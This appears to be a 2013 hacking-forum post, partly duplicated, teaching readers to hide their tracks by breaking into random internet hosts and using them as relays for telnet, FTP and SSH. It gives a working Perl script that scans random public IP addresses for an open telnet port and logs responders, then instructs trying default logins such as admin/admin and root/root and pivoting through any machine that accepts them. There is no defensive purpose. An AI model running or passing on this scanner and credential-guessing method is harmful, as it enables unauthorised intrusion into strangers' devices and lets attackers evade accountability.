Staying Anonymous in FTP,SSH & Telnet 03-05-2013, 09:38 AM
#1
[hide]In this tutorial I will explain how to stay anonymous in FTP,Telnet & SSH by hacking into remote 'computers'.
To start off you will need PuTTY, if you want to be anonymous on SSH otherwise just use cmd or bash.
You will also need Perl which you can download here:
Finding Computers
Now we will use this Perl script :
Scan for port 23 and leave it for a few minutes.
After a while you will have a list of devices with port 23 open.
Check each one by telnetting to it in cmd or bash.A login should come up if it doesn't then it is a dead port(If it's a dead port then leave it and use another one).
Try default logins such as:
If you manage to login try and figure out if it's a computer or router.
So I found a computer and I can run remote bash commands.From here I can just telnet,FTP & SSH to the remote server using the computers IP.
Enjoy! And thanks Omni for help
[/hide]
To start off you will need PuTTY, if you want to be anonymous on SSH otherwise just use cmd or bash.
You will also need Perl which you can download here:
Code:
http://www.perl.org/get.htmlFinding Computers
Now we will use this Perl script :
Code:
Code:
#!/usr/bin/perl
$found = 0;
$num = 0;
system ("cls");
system ("title Random Port Scanner");
use IO::Socket;
sub ipgen(){
my $range1 = 223;
my $range2 = 254;
$oct1 = int(rand($range1)) + 1; #generate random octects
$oct2 = int(rand($range2)) + 1;
$oct3 = int(rand($range2)) + 1;
$oct4 = int(rand($range2)) + 1;
if($oct1 == 127 || $oct1 == 172 || $oct1 == 192 || $oct1 == 10){#if gets rid of loopbacks and private ips
$ip = &ipgen(); #if local or private call again
}else{
$ip = "$oct1.$oct2.$oct3.$oct4"; # otherwise allocate the ip to return
}
return $ip; #return to caller
}
print "########################################\n";
print "#----------Random Port Scanner---------#\n";
print "#--------------------------------------#\n";
print "########################################\n";
print "Enter in port:";
$port = <>;
print "Enter in file:";
$file = <>;
while(1==1){
$target = &ipgen();
my $sock = new IO::Socket::INET (
PeerAddr => $target,
PeerPort => $port,
Proto => 'tcp',
Timeout => '2',
);
system("cls");
$num = $num+1;
print "########################################\n";
print "#----------Random Port Scanner---------#\n";
print "#--------------------------------------#\n";
print "########################################\n";
print "Found:$found Scanning Port:$port\n";
print "IPs Scanned:$num\n";
if($sock){
$found = $found+1;
open(DAT, ">>$file") || die("Cannot Open Output File");
print DAT "$target\n";
close(DAT);
}
close($sock);
}Scan for port 23 and leave it for a few minutes.
After a while you will have a list of devices with port 23 open.
Check each one by telnetting to it in cmd or bash.A login should come up if it doesn't then it is a dead port(If it's a dead port then leave it and use another one).
Try default logins such as:
Code:
Code:
Username:admin and Password:admin
Username:root and Password:rootIf you manage to login try and figure out if it's a computer or router.
So I found a computer and I can run remote bash commands.From here I can just telnet,FTP & SSH to the remote server using the computers IP.
Enjoy! And thanks Omni for help
[/hide]
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)